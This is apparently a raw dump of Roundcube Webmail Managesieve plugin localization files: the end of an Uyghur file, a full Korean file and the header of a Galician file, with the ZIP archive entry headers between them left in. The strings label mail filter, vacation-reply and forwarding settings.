$labels['vacationinterval'] = 'قانچە ئۇزۇندا خەت يوللايسىز:';
$labels['vacationreason'] = 'خەت مەزمۇنى (تەتىل سەۋەبى):';
$labels['vacationfrom'] = 'ئەۋەتكۈچى ئادىرسىغا جاۋاپ قايتۇرۇش:';
$labels['vacationsubject'] = 'خەت تېمىسى';
$labels['days'] = 'كۈنلەر';
$labels['seconds'] = 'سىكۇنتلار';
$labels['rulestop'] = 'تەكشۈرۈش قائىدىلىرىنى بىكار قىلىش';
$labels['enable'] = 'بار/يوق قىلىش';
$labels['filterset'] = 'سۈزگۈچ يۈرۈشى';
$labels['filtersets'] = 'سۈزگۈچ يۈرۈشلىرى';
$labels['filtersetadd'] = 'سۈزگۈچ يۈرۈشى قېتىش';
$labels['filtersetdel'] = 'سۈزگۈچ يۈرۈشىنى ئۆچۈرۈش';
$labels['filtersetact'] = 'نۆۋەتتىكى سۈزگۈچ يۈرۈشىنى قوزغىتىش';
$labels['filtersetdeact'] = 'نۆۋەتتىكى سۈزگۈچ يۈرۈشىنى توختىتىش';
$labels['filterseteditraw'] = 'سۈزگۈچ يۈرۈشىنى تەھرىرلەش';
$labels['filtersetswitch'] = 'سۈزگۈچ يۈرۈشىنى بار/يوق قىلىش';
$labels['filterdef'] = 'سۈزگۈچ بېكىتىش';
$labels['filtersetname'] = 'سۈزگۈچ يۈرۈشى نامى';
$labels['newfilterset'] = 'يېڭى سۈزگۈچ يۈرۈشى';
$labels['active'] = 'جانلىق';
$labels['none'] = 'يوق';
$labels['fromset'] = 'يۈرۈشتىن';
$labels['fromfile'] = 'ھۆججەتتىن';
$labels['filterdisabled'] = 'سۈزگۈچنى يوق بولدى';
$labels['filterenabled'] = 'سۈزگۈچ بار بولدى';
$labels['countisgreaterthan'] = 'سانىغۇچ بولسا چوڭ';
$labels['countisgreaterthanequal'] = 'سانىغۇچ چوڭ ياكى تەڭ';
$labels['countislessthan'] = 'سانىغۇچ كىچىك';
$labels['countislessthanequal'] = 'سانىغۇچ كىچىك ياكى تەڭ';
$labels['countequals'] = 'سانىغۇچ تەڭ';
$labels['countnotequals'] = 'سانىغۇچ تەڭ ئەمەس';
$labels['valueisgreaterthan'] = 'قىممەت چوڭ';
$labels['valueisgreaterthanequal'] = 'قىممەت چوڭ ياكى تەڭ';
$labels['valueislessthan'] = 'قىممەت كىچىك';
$labels['valueislessthanequal'] = 'قىممەت كىچىك ياكى تەڭ';
$labels['valueequals'] = 'قىممەت تەڭ';
$labels['valuenotequals'] = 'قىممەت تەڭ ئەمەس';
$labels['setflags'] = 'بۇ ئۇچۇرغا بايراق بەلگىلەش';
$labels['addflags'] = 'بۇ ئۇچۇرغا بايراق قېتىش';
$labels['removeflags'] = 'بۇ ئۇچۇردىن بايراقلارنى ئۆچۈرۈش';
$labels['flagread'] = 'ئۇقۇغان';
$labels['flagdeleted'] = 'ئۆچۈرۋەتكەن';
$labels['flaganswered'] = 'جاۋاپ قايتۇرغان';
$labels['flagflagged'] = 'بايراقلانغان';
$labels['flagdraft'] = 'قوليازما';
$labels['addheader'] = 'بۇ خەتكە باشلانما قۇشۇش';
$labels['deleteheader'] = 'بۇ خەتتىن باشلانمىنى ئۆچۈرۈش';
$labels['headername'] = 'باشلانما نامى';
$labels['headervalue'] = 'باشلانما قىممىتى';
$labels['headerpos'] = 'باشلانما ئورنى';
$labels['headeratstart'] = 'باشتا';
$labels['headeratend'] = 'ئاخىردا';
$labels['headeroccurrence'] = 'باشلانما كۆرسىتىش/ئورۇن';
$labels['headerfromstart'] = 'باشلىنىشتىن';
$labels['headerfromend'] = 'ئاخىردىن';
$labels['headerpatterns'] = 'باشلانما قىممەت ئۇسلۇبلىرى';
$labels['headermatchtype'] = 'ماسلىق تۈرى:';
$labels['setvariable'] = 'ئۆزگىرىشچان مىقدار بېكىتىش';
$labels['setvarname'] = 'ئۆزگىرىشچان مىقدار نامى:';
$labels['setvarvalue'] = 'ئۆزگىرىشچان مىقدار قىممىتى:';
$labels['setvarmodifiers'] = 'ئۆزگەرتكۈچ:';
$labels['varlower'] = 'كىچىك';
$labels['varupper'] = 'چوڭ';
$labels['varlowerfirst'] = 'تۇنجى ھەرىپ كىچىك';
$labels['varupperfirst'] = 'تۇنجى ھەرىپ چوڭ';
$labels['varquotewildcard'] = 'ئالاھىدە ھەرىپلەرنى نەقىللەش';
$labels['varlength'] = 'ئۇزۇنلۇق';
$labels['notify'] = 'ئۇقتۇرۇش ئەۋەتىش';
$labels['notifytarget'] = 'ئۇقتۇرۇش نىشانى:';
$labels['notifymessage'] = 'ئۇقتۇرۇش ئۇچۇرى (ئىختىيارى):';
$labels['notifyoptions'] = 'ئۇقتۇرۇش تاللانمىلىرى (ئىختىيارى):';
$labels['notifyfrom'] = 'ئۇقتۇرۇش ئەۋەتكۈچى (ئىختىيارى):';
$labels['notifyimportance'] = 'مۇھىملىقى:';
$labels['notifyimportancelow'] = 'تۆۋەت';
$labels['notifyimportancenormal'] = 'ئوتتۇراھال';
$labels['notifyimportancehigh'] = 'يۇقىرى';
$labels['notifymethodmailto'] = 'ئېلىخەت';
$labels['notifymethodtel'] = 'تېلىفۇن';
$labels['notifymethodsms'] = 'ئۇچۇر';
$labels['filtercreate'] = 'سۈزگۈچ قۇرۇش';
$labels['usedata'] = 'سۈزگۈچتە تۆۋەندىكى ئۇچۇرنى ئىشلىتىڭ:';
$labels['nextstep'] = 'كىيىنكى قەدەم';
$labels['...'] = '...';
$labels['string'] = 'تېكىست';
$labels['currdate'] = 'ھازىرقى چېسلا';
$labels['datetest'] = 'چېسلا';
$labels['dateheader'] = 'باشلانما:';
$labels['year'] = 'يىل';
$labels['month'] = 'ئاي';
$labels['day'] = 'كۈن';
$labels['date'] = 'چېسلا (يىل-ئاي-كۈن)';
$labels['julian'] = 'چېسلا (جۇلىئان)';
$labels['hour'] = 'سائەت';
$labels['minute'] = 'مىنۇت';
$labels['second'] = 'سېكۇنت';
$labels['time'] = 'ۋاقىت (سائەت:مىنۇت:سېكۇنت)';
$labels['iso8601'] = 'چېسلا (ISO8601)';
$labels['std11'] = 'چېسلا (RFC2822)';
$labels['zone'] = 'ۋاقىت رايۇنى';
$labels['weekday'] = 'ھەپتە كۈنلىرى(0-6)';
$labels['advancedopts'] = 'ئالاھىدە تاللانمىلار';
$labels['body'] = 'مەزمۇن';
$labels['address'] = 'ئادىرىس';
$labels['envelope'] = 'كونۋېرت';
$labels['modifier'] = 'ئۆزگەرتكۈچ:';
$labels['text'] = 'تېكىست';
$labels['undecoded'] = 'شىفىرسىزلانمىغان (خام)';
$labels['contenttype'] = 'مەزمۇن تۈرى';
$labels['modtype'] = 'تۈر:';
$labels['allparts'] = 'ھەممە';
$labels['domain'] = 'دائىرە';
$labels['localpart'] = 'يەرلىك قىسىم';
$labels['user'] = 'ئىشلەتكۈچى';
$labels['detail'] = 'تەپسىلات';
$labels['comparator'] = 'سېلىشتۇرما:';
$labels['default'] = 'سۈكۈت';
$labels['octet'] = 'قەتئىي (سەككىرلىك)';
$labels['asciicasemap'] = 'چوڭ-كىچىكلىكى پەرىقسىز (ascii خەرىتىسى)';
$labels['asciinumeric'] = 'سان (ascii-سانلىق)';
$labels['index'] = 'ئىندىكىس:';
$labels['indexlast'] = 'ئارقىغا';
$labels['spamtest'] = 'ئالدامچىلىق دەرىجىسى';
$labels['spamtestisgreaterthan'] = 'چوڭ';
$labels['spamtestisgreaterthanequal'] = 'چوڭ ياكى تەڭ';
$labels['spamtestislessthan'] = 'كىچىك';
$labels['spamtestislessthanequal'] = 'كىچىك ياكى تەڭ';
$labels['spamtestequals'] = 'تەڭ';
$labels['spamtestnotequals'] = 'تەڭ ئەمەس';
$labels['spamtestisunknown'] = 'نامەلۇم';
$labels['vacation'] = 'ئىشخانىنىڭ سىرتىدا';
$labels['vacation.reply'] = 'خەتكە جاۋاپ يېزىش';
$labels['vacation.advanced'] = 'ئالىي تەڭشەكلەر';
$labels['vacation.from'] = 'ئەۋەتكۈچى ئادىرسىغا جاۋاپ قايتۇرۇش';
$labels['vacation.subject'] = 'تېما';
$labels['vacation.body'] = 'مەزمۇن';
$labels['vacation.start'] = 'باشلاش ۋاقتى';
$labels['vacation.end'] = 'ئاخىرلىشىش ۋاقتى';
$labels['vacation.status'] = 'ھالەت';
$labels['vacation.on'] = 'بار';
$labels['vacation.off'] = 'يوق';
$labels['vacation.addresses'] = 'مېنىڭ ئېلىخەت ئادىرسىم';
$labels['vacation.interval'] = 'جاۋاپ قايتۇرۇش ئارلىقى';
$labels['vacation.after'] = 'ئارقىدىن ئىشخانا-سىرتىدا قائىدىسىنى قۇيۇش';
$labels['vacation.saving'] = 'ئۇچۇرنى ساقلاۋاتىدۇ...';
$labels['vacation.action'] = 'كەلگەن خەت ھەركىتى';
$labels['vacation.keep'] = 'ساقلاش';
$labels['vacation.discard'] = 'تاشلاش';
$labels['vacation.redirect'] = 'يەتكۈزۈش';
$labels['vacation.copy'] = 'بىر نۇسخىسىنى ئەۋەتىش';
$labels['forward'] = 'يەتكۈزۈش';
$labels['forward.redirect'] = 'يەتكۈزۈش';
$labels['forward.copy'] = 'بىر نۇسخىسىنى ئەۋەتىش';
$labels['forward.on'] = 'بار';
$labels['forward.off'] = 'يوق';
$labels['forward.status'] = 'ھالەت:';
$labels['forward.action'] = 'كەلگەن خەتلەرگە تۆۋەندىكى ھەركەتنى ئورۇنداڭ:';
$labels['forward.saving'] = 'ئۇچۇرنى ساقلاۋاتىدۇ...';
$labels['filladdresses'] = 'مېنىڭ بارلىق ئادىرسلىرىم بىلەن تولدۇرۇڭ';
$labels['arialabelfiltersetactions'] = 'سۈزگۈچ يۈرۈشى ھەركىتى';
$labels['arialabelfilteractions'] = 'سۈزگۈچ ھەركەتلىرى';
$labels['arialabelfilterform'] = 'سۈزگۈچ خاسلىقى';
$labels['ariasummaryfilterslist'] = 'سۈزگۈچلەرنى تىزىش';
$labels['ariasummaryfiltersetslist'] = 'سۈزگۈچ يۈرۈشى تىزىملىكى';
$labels['filterstitle'] = 'كەلگەن خەت سۈزگۈچلىرىنى تەھرىرلەش';
$labels['vacationtitle'] = 'ئىشخانا-سىرتىدا قائىدىسىنى تەھرىرلەش';
$labels['forwardtitle'] = 'خەت يەتكۈزۈش قائىدىسىنى تەھرىرلەش';
$labels['message'] = 'ئۇچۇر';
$labels['duplicate'] = 'تەكرارلانغان';
$labels['notduplicate'] = 'تەكرارلانمىغان';
$labels['duplicate.handle'] = 'بىر-تەرەپ قىلىش:';
$labels['duplicate.header'] = 'باشلانما:';
$labels['duplicate.uniqueid'] = 'بەلگە:';
$labels['duplicate.seconds'] = 'قالغان ۋاقىت(سىكۇنتلار):';
$labels['duplicate.last'] = 'ئاخىرقى ئىجراغا نىسپىي';
$messages['filterunknownerror'] = 'نامەلۇم مۇلازىمېتىر خاتالىقى.';
$messages['filterconnerror'] = 'مۇلازىمېتىرغا ئۇلىغىلى بولمىدى.';
$messages['filterdeleteerror'] = 'سۈزگۈچنى ئۆچۈرگىلى بولمىدى. مۇلازىمېتىر خاتالىقى كۆرۈلدى.';
$messages['filterdeleted'] = 'سۈزگۈچ مۇۋاپىقىيەتلىك ئۆچۈرۈلدى.';
$messages['filtersaved'] = 'سۈزگۈچ مۇۋاپىقىيەتلىك ساقلاندى.';
$messages['filtersaveerror'] = 'سۈزگۈچنى ساقلىغىلى بولمىدى. مۇلازىمېتىر خاتالىقى كۆرۈلدى.';
$messages['filterformerror'] = 'سۈزگۈچ جەدىۋېلىدە خاتالىق بار.';
$messages['filterdeleteconfirm'] = 'سىز تاللانغان سۈزگۈچنى راستىنلا ئۆچۈرەمسىز؟';
$messages['ruledeleteconfirm'] = 'سىز تاللانغان قائىدىنى راستىنلا ئۆچۈرەمسىز؟';
$messages['actiondeleteconfirm'] = 'سىز تاللانغان ھەركەتنى راستىنلا ئۆچۈرەمسىز؟';
$messages['forbiddenchars'] = 'ئارلىقتا مەنئىي قىلىنغان بەلگىلەر بار.';
$messages['cannotbeempty'] = 'بۇ ئورۇن بوش قالسا بولمايدۇ.';
$messages['ruleexist'] = 'بۇ ئىسىمدىكى سۈزگۈچ مەۋجۇت.';
$messages['setactivateerror'] = 'تاللانغان سۈزگۈچ يۈرۈشىنى قوزغاتقىلى بولمىدى. مۇلازىمىتىر خاتالىقى كۆرۈلدى.';
$messages['setdeactivateerror'] = 'تاللانغان سۈزگۈچ يۈرۈشىنى توختاتقىلى بولمىدى. مۇلازىمېتىر خاتالىقى كۆرۈلدى.';
$messages['setdeleteerror'] = 'تاللانغان سۈزگۈچ يۈرۈشىنى ئۆچۈرگىلى بولمىدى. مۇلازىمېتىر خاتالىقى كۆرۈلدى.';
$messages['setactivated'] = 'سۈزگۈچ يۈرۈشى مۇۋاپىقىيەتلىك قوزغىتىلدى.';
$messages['setdeactivated'] = 'سۈزگۈچ يۈرۈشى مۇۋاپىقىيەتلىك توختىتىلدى.';
$messages['setdeleted'] = 'سۈزگۈچ يۈرۈشى مۇۋاپىقىيەتلىك ئۆچۈرۈلدى.';
$messages['setupdated'] = 'سۈزگۈچ يۈرۈشى مۇۋاپىقىيەتلىك يېڭىلاندى.';
$messages['setdeleteconfirm'] = 'سىز تاللانغان سۈزگۈچ يۈرۈشىنى ئۆچۈرۈشنى جەزىملەشتۈرەمسىز؟';
$messages['setcreateerror'] = 'سۈزگۈچ يۈرۈشىنى قۇرۇشقا بولمىدى. مۇلازىمېتىر خاتالىقى كۆرۈلدى.';
$messages['setcreated'] = 'سۈزگۈچ يۈرۈشى مۇۋاپىقىيەتلىك قۇرۇلدى.';
$messages['activateerror'] = 'تاللانغان سۈزگۈچ(لەر)نى قوزغاتقىلى بولمىدى. مۇلازىمېتىر خاتالىقى كۆرۈلدى.';
$messages['deactivateerror'] = 'تاللانغان سۈزگۈچ(لەر)نى توختاتقىلى بولمىدى. مۇلازىمېتىر خاتالىقى كۆرۈلدى.';
$messages['deactivated'] = 'سۈزگۈچ(لەر) مۇۋاپىقىيەتلىك توختىدى.';
$messages['activated'] = 'سۈزگۈچ(لەر) مۇۋاپىقىيەتلىك قوزغالدى.';
$messages['moved'] = 'سۈزگۈچ مۇۋاپىقىيەتلىك يۆتكەلدى.';
$messages['moveerror'] = 'تاللانغان سۈزگۈچنى يۆتكىگىلى بولمىدى. مۇلازىمېتىر خاتالىقى كۆرۈلدى.';
$messages['nametoolong'] = 'ئىسىم بەك ئۇزۇن.';
$messages['namereserved'] = 'ئالاھىدە ھوقوقلۇق ئىسىم.';
$messages['setexist'] = 'يۈرۈش ئاللىبۇرۇن مەۋجۇت.';
$messages['nodata'] = 'ئەڭ كەمدە بىر ئورۇن تاللىنىشى كېرەك!';
$messages['invaliddateformat'] = 'ئىناۋەتسىز چېسلا ياكى چېسلا شەكلى';
$messages['saveerror'] = 'ئۇچۇرنى ساقلىغىلى بولمىدى. مۇلازىمېتىر خاتالىقى كۆرۈلدى.';
$messages['vacationsaved'] = 'ئىشخانا-سىرتىدا ئۇچۇرى مۇۋاپىقىيەتلىك ساقلاندى.';
$messages['forwardsaved'] = 'يەتكۈزۈش ئۇچۇرى مۇۋاپىقىيەتلىك ساقلاندى.';
$messages['emptyvacationbody'] = 'تەتىل خېتىنىڭ مەزمۇنى تەلەپ قىلىندى!';
$messages['duplicate.conflict.err'] = 'باشلانما ھەمدە ئۆزگىچە بەلگىنىڭ ھەر ئىككىلىسىگە يول قۇيۇلمايدۇ.';
$messages['disabledaction'] = 'ھەركەتكە يول قۇيۇلمايدۇ.';
$messages['lastindexempty'] = 'ئاخىردىن سانىغاندا ئىندىكىس تەلەپ قىلىنىدۇ';
$messages['noflagset'] = 'ئەڭ كەمدە بىر بايراق تاللىنىشى كېرەك.';
PKh�\�'"�;�;*plugins/managesieve/localization/ko_KR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = '필터';
$labels['managefilters'] = '수신 메일 필터 관리';
$labels['filtername'] = '필터 이름';
$labels['newfilter'] = '새 필터';
$labels['filteradd'] = '필터 추가';
$labels['filterdel'] = '필터 삭제';
$labels['rules'] = '규칙';
$labels['actions'] = '동작';
$labels['scope'] = '범위';
$labels['moveup'] = '위로 이동';
$labels['movedown'] = '아래로 이동';
$labels['filterallof'] = '다음 규칙과 모두 일치함';
$labels['filteranyof'] = '다음 규칙 중 하나라도 일치함';
$labels['filterany'] = '모든 메시지';
$labels['filtercontains'] = '다음을 포함함';
$labels['filternotcontains'] = '다음을 포함하지 않음';
$labels['filteris'] = '다음과 일치함';
$labels['filterisnot'] = '다음과 일치하지 않음';
$labels['filterexists'] = '다음이 존재함';
$labels['filternotexists'] = '다음이 존재하지 않음';
$labels['filtermatches'] = '다음 표현식과 일치함';
$labels['filternotmatches'] = '다음 표현식과 일치하지 않음';
$labels['filterregex'] = '다음 정규 표현식과 일치함';
$labels['filternotregex'] = '다음 정규 표현식과 일치하지 않음';
$labels['filterunder'] = '다음보다 아래임';
$labels['filterover'] = '다음보다 위임';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME 일부:';
$labels['mime-message'] = '메시지';
$labels['mime-anychild'] = '모두';
$labels['mime-type'] = '유형';
$labels['mime-subtype'] = '하위 유형';
$labels['mime-contenttype'] = '내용 유형';
$labels['mime-param'] = '매개변수';
$labels['addrule'] = '규칙 추가';
$labels['delrule'] = '규칙 삭제';
$labels['messagemoveto'] = '메시지를 다음 위치로 이동';
$labels['messageredirect'] = '메시지를 다음 주소로 재전송';
$labels['messagecopyto'] = '메시지를 다음 위치로 복사';
$labels['messagesendcopy'] = '메시지 사본을 다음 대상에게 보내기';
$labels['messagereply'] = '다음 메시지로 회신';
$labels['messagedelete'] = '메시지 삭제';
$labels['messagediscard'] = '다음 메시지와 함께 폐기';
$labels['messagekeep'] = '메시지를 받은 편지함에 보관';
$labels['messagesrules'] = '해당 받은 메일:';
$labels['messagesactions'] = '...다음 동작을 실행:';
$labels['add'] = '추가';
$labels['del'] = '삭제';
$labels['sender'] = '발송자';
$labels['recipient'] = '수신자';
$labels['vacationaddr'] = '내 이메일 주소:';
$labels['vacationdays'] = '메시지 발신 주기 (일):';
$labels['vacationinterval'] = '메시지 발신 주기:';
$labels['vacationreason'] = '메시지 본문 (휴가 사유):';
$labels['vacationfrom'] = '회신 시 보내는 사람 주소:';
$labels['vacationsubject'] = '메시지 제목:';
$labels['days'] = '일';
$labels['seconds'] = '초';
$labels['rulestop'] = '규칙 평가를 중단';
$labels['enable'] = '활성화/비활성화';
$labels['filterset'] = '필터 세트';
$labels['filtersets'] = '필터 세트';
$labels['filtersetadd'] = '필터 세트 추가';
$labels['filtersetdel'] = '필터 세트 삭제';
$labels['filtersetact'] = '현재 필터 세트 활성화';
$labels['filtersetdeact'] = '현재 필터 세트 비활성화';
$labels['filterseteditraw'] = '필터 세트 편집';
$labels['filtersetswitch'] = '필터 세트 활성화/비활성화';
$labels['filterdef'] = '필터 정의';
$labels['filtersetname'] = '필터 세트 이름';
$labels['newfilterset'] = '새 필터 세트';
$labels['active'] = '활성화됨';
$labels['none'] = '없음';
$labels['fromset'] = '세트로부터';
$labels['fromfile'] = '파일로부터';
$labels['filterdisabled'] = '필터가 비활성화됨';
$labels['filterenabled'] = '필터 활성화됨';
$labels['countisgreaterthan'] = '개수가 다음보다 큼';
$labels['countisgreaterthanequal'] = '개수가 다음보다 크거나 같음';
$labels['countislessthan'] = '개수가 다음보다 작음';
$labels['countislessthanequal'] = '개수가 작거나 같음';
$labels['countequals'] = '개수가 다음과 같음';
$labels['countnotequals'] = '개수가 다음과 일치하지 않음';
$labels['valueisgreaterthan'] = '값이 다음보다 큼';
$labels['valueisgreaterthanequal'] = '값이 다음보다 크거나 같음';
$labels['valueislessthan'] = '값이 다음보다 작음';
$labels['valueislessthanequal'] = '값이 다음보다 작거나 같음';
$labels['valueequals'] = '값이 다음과 같음';
$labels['valuenotequals'] = '값이 다음과 일치하지 않음';
$labels['setflags'] = '메시지를 깃발로 표시';
$labels['addflags'] = '메시지에 깃발을 추가';
$labels['removeflags'] = '메시지에서 깃발을 제거';
$labels['flagread'] = '읽음';
$labels['flagdeleted'] = '삭제됨';
$labels['flaganswered'] = '응답함';
$labels['flagflagged'] = '깃발로 표시함';
$labels['flagdraft'] = '임시 보관함';
$labels['addheader'] = '메시지에 머리글 추가';
$labels['deleteheader'] = '메시지에서 머리글 제거';
$labels['headername'] = '머리글 이름';
$labels['headervalue'] = '머리글 값';
$labels['headerpos'] = '머리글 위치';
$labels['headeratstart'] = '시작 지점에';
$labels['headeratend'] = '끝 지점에';
$labels['headeroccurrence'] = '머리글 존재/위치';
$labels['headerfromstart'] = '시작부터';
$labels['headerfromend'] = '끝부터';
$labels['headerpatterns'] = '머리글 값 패턴';
$labels['headermatchtype'] = '일치 유형:';
$labels['setvariable'] = '변수 설정';
$labels['setvarname'] = '변수명:';
$labels['setvarvalue'] = '변수 값:';
$labels['setvarmodifiers'] = '수식자:';
$labels['varlower'] = '소문자';
$labels['varupper'] = '대문자';
$labels['varlowerfirst'] = '첫 문자를 소문자로';
$labels['varupperfirst'] = '첫 문자를 대문자로';
$labels['varquotewildcard'] = '특수 기호를 인용';
$labels['varlength'] = '길이';
$labels['notify'] = '알림 메시지 보내기';
$labels['notifytarget'] = '알림 대상:';
$labels['notifymessage'] = '알림 메시지(옵션):';
$labels['notifyoptions'] = '알림 옵션(옵션):';
$labels['notifyfrom'] = '알림 발송자(옵션):';
$labels['notifyimportance'] = '중요도:';
$labels['notifyimportancelow'] = '낮음';
$labels['notifyimportancenormal'] = '보통';
$labels['notifyimportancehigh'] = '높음';
$labels['notifymethodmailto'] = '이메일';
$labels['notifymethodtel'] = '전화';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = '필터 생성';
$labels['usedata'] = '필터에서 다음 데이터를 사용:';
$labels['nextstep'] = '다음 단계';
$labels['...'] = '...';
$labels['string'] = '스티링';
$labels['currdate'] = '오늘 날짜';
$labels['datetest'] = '날짜';
$labels['dateheader'] = '머리글:';
$labels['year'] = '년';
$labels['month'] = '월';
$labels['day'] = '일';
$labels['date'] = '날짜 (yyyy-mm-dd)';
$labels['julian'] = '날짜 (율리우스력)';
$labels['hour'] = '시';
$labels['minute'] = '분';
$labels['second'] = '초';
$labels['time'] = '시간 (hh:mm:ss)';
$labels['iso8601'] = '날짜 (ISO8601)';
$labels['std11'] = '날짜 (RFC2822)';
$labels['zone'] = '시간대';
$labels['weekday'] = '주중 (0-6)';
$labels['advancedopts'] = '고급 설정';
$labels['body'] = '본문';
$labels['address'] = '주소';
$labels['envelope'] = '봉투';
$labels['modifier'] = '수식자:';
$labels['text'] = '텍스트';
$labels['undecoded'] = '암호화되지 않음(원상태)';
$labels['contenttype'] = '내용 유형';
$labels['modtype'] = '유형:';
$labels['allparts'] = '모두';
$labels['domain'] = '도메인';
$labels['localpart'] = '로컬 부분';
$labels['user'] = '사용자';
$labels['detail'] = '세부사항';
$labels['comparator'] = '비교기:';
$labels['default'] = '기본';
$labels['octet'] = '엄격 (8진수)';
$labels['asciicasemap'] = '대/소문자 구분 (ascii-casemap)';
$labels['asciinumeric'] = '숫자 (ascii-numeric)';
$labels['index'] = '색인:';
$labels['indexlast'] = '역방향';
$labels['spamtest'] = '스팸 수준';
$labels['spamtestisgreaterthan'] = '다음보다 큼';
$labels['spamtestisgreaterthanequal'] = '다음보다 크거나 같음';
$labels['spamtestislessthan'] = '다음보다 작음';
$labels['spamtestislessthanequal'] = '다음보다 작거나 같음';
$labels['spamtestequals'] = '다음과 일치함';
$labels['spamtestnotequals'] = '다음과 일치하지 않음';
$labels['spamtestisunknown'] = '알 수 없음';
$labels['vacation'] = '자리비움';
$labels['vacation.reply'] = '메시지 회신';
$labels['vacation.advanced'] = '고급 설정';
$labels['vacation.from'] = '회신 시 보내는 사람 주소';
$labels['vacation.subject'] = '제목';
$labels['vacation.body'] = '본문';
$labels['vacation.start'] = '시작 시간';
$labels['vacation.end'] = '종료 시간';
$labels['vacation.status'] = '상태';
$labels['vacation.on'] = '켬';
$labels['vacation.off'] = '끔';
$labels['vacation.addresses'] = '내 이메일 주소';
$labels['vacation.interval'] = '회신 주기';
$labels['vacation.after'] = '다음 이후에 자리비움 규칙 두기';
$labels['vacation.saving'] = '데이터를 저장하는 중...';
$labels['vacation.action'] = '수신 메시지 동작';
$labels['vacation.keep'] = '보관';
$labels['vacation.discard'] = '폐기';
$labels['vacation.redirect'] = '재전송';
$labels['vacation.copy'] = '사본을 다음 대상에게 전송';
$labels['forward'] = '전달';
$labels['forward.redirect'] = '재전송';
$labels['forward.copy'] = '사본을 다음 대상에게 전송';
$labels['forward.on'] = '켬';
$labels['forward.off'] = '끔';
$labels['forward.status'] = '상태:';
$labels['forward.action'] = '받은 메일에 대해 다음 동작을 실행:';
$labels['forward.saving'] = '데이터를 저장하는 중...';
$labels['filladdresses'] = '내 이메일 주소로 모두 채우기';
$labels['arialabelfiltersetactions'] = '필터 세트 동작';
$labels['arialabelfilteractions'] = '필터 동작';
$labels['arialabelfilterform'] = '필터 속성';
$labels['ariasummaryfilterslist'] = '필터 목록';
$labels['ariasummaryfiltersetslist'] = '필터 세트 목록';
$labels['filterstitle'] = '수신 메일 필터 편집';
$labels['vacationtitle'] = '자리비움 규칙 편집';
$labels['forwardtitle'] = '메일 전달 규칙 편집';
$labels['message'] = '메시지';
$labels['duplicate'] = '중복임';
$labels['notduplicate'] = '중복 아님';
$labels['duplicate.handle'] = '취급';
$labels['duplicate.header'] = '머리글:';
$labels['duplicate.uniqueid'] = '식별자:';
$labels['duplicate.seconds'] = '타임아웃 (초):';
$labels['duplicate.last'] = '마지막 실행과 관련';
$messages['filterunknownerror'] = '알수 없는 서버 오류.';
$messages['filterconnerror'] = '서버에 연결할 수 없습니다.';
$messages['filterdeleteerror'] = '필터를 삭제할 수 없습니다. 서버 오류가 발생했습니다.';
$messages['filterdeleted'] = '필터가 성공적으로 삭제되었습니다.';
$messages['filtersaved'] = '필터가 성공적으로 저장되었습니다.';
$messages['filtersaveerror'] = '필터를 저장할 수 없습니다. 서버 오류가 발생했습니다.';
$messages['filterformerror'] = '필터 양식에 오류가 포함되어 있음.';
$messages['filterdeleteconfirm'] = '정말로 선택한 필터를 삭제하시겠습니까?';
$messages['ruledeleteconfirm'] = '정말로 선택한 규칙을 삭제하시겠습니까?';
$messages['actiondeleteconfirm'] = '정말로 선택한 동작을 삭제하시겠습니까?';
$messages['forbiddenchars'] = '필드에 금지된 문자가 존재합니다.';
$messages['cannotbeempty'] = '필드는 비어둘 수 없습니다.';
$messages['ruleexist'] = '지정한 이름의 필터가 이미 존재합니다.';
$messages['setactivateerror'] = '선택한 필터 세트를 활성화할 수 없습니다. 서버 오류가 발생했습니다.';
$messages['setdeactivateerror'] = '선택한 필터 세트를 비활성화할 수 없습니다. 서버 오류가 발생했습니다.';
$messages['setdeleteerror'] = '선택한 필터 세트를 삭제할 수 없습니다. 서버 오류가 발생했습니다.';
$messages['setactivated'] = '필터 세트가 성공적으로 활성화되었습니다.';
$messages['setdeactivated'] = '필터 세트가 성공적으로 비활성화되었습니다.';
$messages['setdeleted'] = '필터 세트가 성공적으로 삭제되었습니다.';
$messages['setupdated'] = '필터 세트가 성공적으로 업데이트되었습니다.';
$messages['setdeleteconfirm'] = '정말 선택한 필터 세트를 삭제하시겠습니까?';
$messages['setcreateerror'] = '필터 세트를 생성하지 못했습니다. 서버 오류가 발생했습니다.';
$messages['setcreated'] = '필터 세트를 성공적으로 생성했습니다.';
$messages['activateerror'] = '선택한 필터를 활성화할 수 없습니다. 서버 오류가 발생했습니다.';
$messages['deactivateerror'] = '선택한 필터를 비활성화할 수 없습니다. 서버 오류가 발생했습니다.';
$messages['deactivated'] = '필터가 성공적으로 비활성화되었습니다.';
$messages['activated'] = '필터가 성공적으로 활성화되었습니다.';
$messages['moved'] = '필터가 성공적으로 이동되었습니다.';
$messages['moveerror'] = '선택한 필터를 이동할 수 없습니다. 서버 오류가 발생했습니다.';
$messages['nametoolong'] = '이름이 너무 깁니다.';
$messages['namereserved'] = '예약된 이름입니다.';
$messages['setexist'] = '세트가 이미 존재합니다.';
$messages['nodata'] = '최소 하나의 위치가 선택되어야 합니다!';
$messages['invaliddateformat'] = '유효하지 않은 날짜 또는 날짜 일부 형식';
$messages['saveerror'] = '데이터를 저장할 수 없습니다.. 서버 오류가 발생했습니다.';
$messages['vacationsaved'] = '자리비움 데이터를 성공적으로 저장했습니다.';
$messages['forwardsaved'] = '전달 데이터를 성공적으로 저장했습니다.';
$messages['emptyvacationbody'] = '휴가 메시지의 본문이 필요합니다!';
$messages['duplicate.conflict.err'] = '머리글 및 유일 식별자가 허용되지 않음.';
$messages['disabledaction'] = '동작이 허용되지 않았습니다.';
$messages['lastindexempty'] = '끝에서부터 세려면 인덱스 숫자가 필요합니다';
$messages['noflagset'] = '최소 하나의 깃발이 선택되어야 합니다.';
PKh�\��15%5%*plugins/managesieve/localization/gl_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

